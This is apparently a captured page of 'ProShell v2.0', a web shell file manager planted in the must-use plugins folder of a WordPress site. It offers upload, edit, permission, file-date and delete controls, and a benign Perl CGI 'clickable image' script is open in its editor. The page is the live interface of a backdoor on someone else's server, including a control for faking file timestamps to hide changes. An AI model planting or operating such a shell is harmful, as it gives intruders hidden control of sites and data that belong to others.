ProShell v2.0
Dashboard
Server Info
Server: 127.0.0.80
PHP: 8.3.31
home
clients
08ce2314c3c7e396ea36e41d2a860c5e
sites
filmerletravail.org
wp-content
mu-plugins
2026-08-08 19:35:20
Editing: clickable_image.cgi
Cancel
Save Changes
#!/usr/bin/perl use strict; use warnings; use CGI; use Template; my $cgi = CGI->new; my $template_vars; if ( $cgi->param ) { foreach my $var ( qw/ magnification letter x y / ) { $template_vars->{$var} = $cgi->param( $var =~ /^[xy]$/ ? "picture.$var" : $var ); } } my $tt = Template->new; print $cgi->header( -type => 'text/html', -charset => 'utf-8', ); $tt->process( \*DATA,$template_vars ) or warn $tt->error; __DATA__ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>A Clickable Image</title> </head> <body> <h1>A Clickable Image</h1> </a> <p>Sorry, this isn't very exciting!</p> <form method="post" action="/clickable_image/"> <input type="image" name="picture" src="/wilogo.gif" /> <p>Give me a: <select name="letter" >[%- FOREACH letter_opt IN [ 'A','B','C','D','E','W' ] %] <option value="[% letter_opt %]" [% IF letter == letter_opt %]selected[% END %]>[% letter_opt %]</option> [%- END %]</select> </p> <p>Magnification: [% FOREACH magnification_opt IN [ 1,2,4,20 ] -%] [%- %]<label><input type="radio" name="magnification" value="[% magnification_opt %]"[% IF magnification.defined AND magnification == magnification_opt %] checked="checked"[% END %]/>[% magnification_opt %]X</label> [% END -%] [%- IF x.defined AND y.defined %] <p>Selected Position <strong>([% x %],[% y %])</strong></p> [% END %] </body> </html>
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete